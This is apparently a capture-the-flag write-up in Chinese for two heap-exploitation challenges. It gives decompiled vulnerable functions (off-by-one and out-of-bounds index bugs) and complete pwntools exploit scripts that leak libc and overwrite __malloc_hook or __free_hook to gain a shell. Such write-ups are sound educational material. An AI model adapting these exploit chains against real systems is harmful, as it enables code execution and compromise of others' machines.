Pwn1
主要问题出在update函数,可以看到存在两个漏洞
- 索引值只检测了小于9,若输入负数造成数组越界可以修改低地址处的值
- off by one 漏洞
unsigned __int64 update()
{
int v1; // [rsp+Ch] [rbp-14h]
size_t nbytes; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("Input the index:");
v1 = 0;
LODWORD(nbytes) = 0;
_isoc99_scanf("%d", &v1);
if ( v1 <= 9 && qword_2020A0[v1] ) // vuln 1
{
puts("Input size:");
_isoc99_scanf("%d", &nbytes);
if ( dword_202060[v1] < nbytes )
LODWORD(nbytes) = dword_202060[v1];
puts("Input new content:");
HIDWORD(nbytes) = read(0, qword_2020A0[v1], nbytes);
if ( dword_202060[v1] == HIDWORD(nbytes) )
*(qword_2020A0[v1] + HIDWORD(nbytes)) = 0; // vuln2
}
else
{
puts("Edit fail");
}
return __readfsqword(0x28u) ^ v3;
}
利用思路:
- 由于chunk指针数组在bss段,stdout指针也在bss段并且在前者的低地址处,所以可利用 _IO_2_1_stdout来leak出libc地址
- 利用offbyone漏洞构造chunk overlap来实现chunk复用,结合fastbin attack修改__malloc_hook地址为one_gadget
Exp:
#!/usr/bin/python
from pwn import *
context.log_level='debug'
def add(size,content):
p.sendlineafter('5.exit','1')
p.sendlineafter('size:',str(size))
p.sendafter('content:',content)
def delete(idx):
p.sendlineafter('5.exit','2')
p.sendlineafter('index:',str(idx))
def update(idx,size,content):
p.sendlineafter('5.exit','4')
p.sendlineafter('index:',str(idx))
p.sendlineafter('size:',str(size))
p.sendafter('content:',content)
p = process("./pwn2")
elf=ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
# leak libc base
payload=p64(0xfbad1800)+p64(0)*3+'\x18'
update(-16,len(payload),payload)
# gdb.attach(p)
p.recvuntil('\n')
libc_base = u64(p.recv(6).ljust(8,'\x00'))- (0x00007f7f868b76e0-0x7f7f864f4000)
log.success("libc_base => [%s]"%hex(libc_base))
add(0xf8,'aaaa') # 0
add(0x68,'bbbb') # 1
add(0xf8,'cccc') # 2
# gdb.attach(p)
delete(0)
update(1,0x68,"a"*0x60+p64(0x170))
delete(2)
# gdb.attach(p)
# only chunk is top chunk
add(0xf8,'dddd') # 0
add(0x68,'eeee') # 2
add(0xf8,'ffff') # 3
delete(2)
update(1,16,p64(libc_base+elf.symbols['__malloc_hook']-0x23))
# gdb.attach(p)
add(0x68,'cccc')
add(0x68,"a"*0x13+p64(libc_base+0xf1147))
# gdb.attach(p)
p.sendlineafter('5.exit','1')
p.sendlineafter('size:','1')
p.interactive()
http://pzhxbz.cn/?p=139
https://www.secpulse.com/archives/111304.html
Pwn2
通过观察add函数发现本题每次只能使用一个指针
unsigned __int64 add()
{
int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
v1 = 0;
puts("Input the size");
_isoc99_scanf((__int64)"%d", (__int64)&v1);
if ( v1 <= 0 || v1 > 1023 )
{
puts("Size error!");
}
else
{
qword_202090 = malloc(v1);
memset(qword_202090, 0, v1);
unk_202040 = v1;
puts("Add success");
}
return __readfsqword(0x28u) ^ v2;
}
问题还是出在update函数
ssize_t update()
{
puts("Please input your name");
return read(0, &unk_202060, 0x31uLL); // off by one --> fake note
}
和下面函数对比后发现在update的时候由于多读取了一个字节造成了off by one漏洞
ssize_t sub_A00()
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
puts("Welcome to notebook system");
puts("Please input your name");
return read(0, &unk_202060, 0x30uLL);
}
利用思路:
- 利用unsorted bin 来 leak出libc地址
- unsorted bin attack 将很大的值写到__free_hook低地址处,字节错位伪造fastbin (0x7f)
- fastbin attack 修改__free_hook 为system地址,同时在chunk内写入/bin/sh字符串
Exp:
#!/usr/bin/python
from pwn import *
# context.log_level='debug'
def Add(size):
p.sendlineafter("6.exit\n","1")
p.sendlineafter("Input the size\n",str(size))
def Delete():
p.sendlineafter("6.exit\n","2")
def Show():
p.sendlineafter("6.exit\n","3")
def Update(name):
p.sendlineafter("6.exit\n","4")
p.sendafter("name\n",name)
def Edit(content):
p.sendlineafter("6.exit\n","5")
p.sendlineafter("note\n",content)
p = process("./pwn1")
elf = ELF("./pwn1",checksec=False)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False)
p.recvuntil("Please input your name\n")
p.sendline("ssta")
Add(0x98)
Add(0x18)
Update('A'*0x30+'\x10')
# gdb.attach(p)
Delete()
# gdb.attach(p)
Add(0x18)
Update('A'*0x30+'\x30')
# gdb.attach(p)
Show()
libc_base = u64(p.recv(6).ljust(8,'\x00'))-(0x7ffff7dd1b78-0x7ffff7a0d000)
free_hook = libc_base + libc.symbols['__free_hook']
system_addr = libc_base + libc.symbols['system']
log.success("__free_hook --> [%s]" % hex(free_hook))
log.success("libc_base --> [%s]" % hex(libc_base))
log.success("system addr --> [%s]" % hex(system_addr))
Add(0x58)
Delete()
Add(0x68)
Delete()
# gdb.attach(p)
Add(0x18)
Add(0x98)
Add(0x10)
# gdb.attach(p)
Update('A'*0x30+'\x40')
Delete()
Add(0x10) # use ptr
Update('A'*0x30+'\x60')
# gdb.attach(p)
Edit('A'*8+p64(free_hook-0x40-0x10))
# gdb.attach(p)
Add(0x78)
Add(0x58)
Update('A'*0x30+'\xd0')
Edit(p64(free_hook-0x43))
# gdb.attach(p)
Add(0x68)
Add(0x68)
Edit("/bin/sh"+"\x00"*(0x33-7)+p64(system_addr))
# gdb.attach(p)
Delete()
# gdb.attach(p)
p.interactive()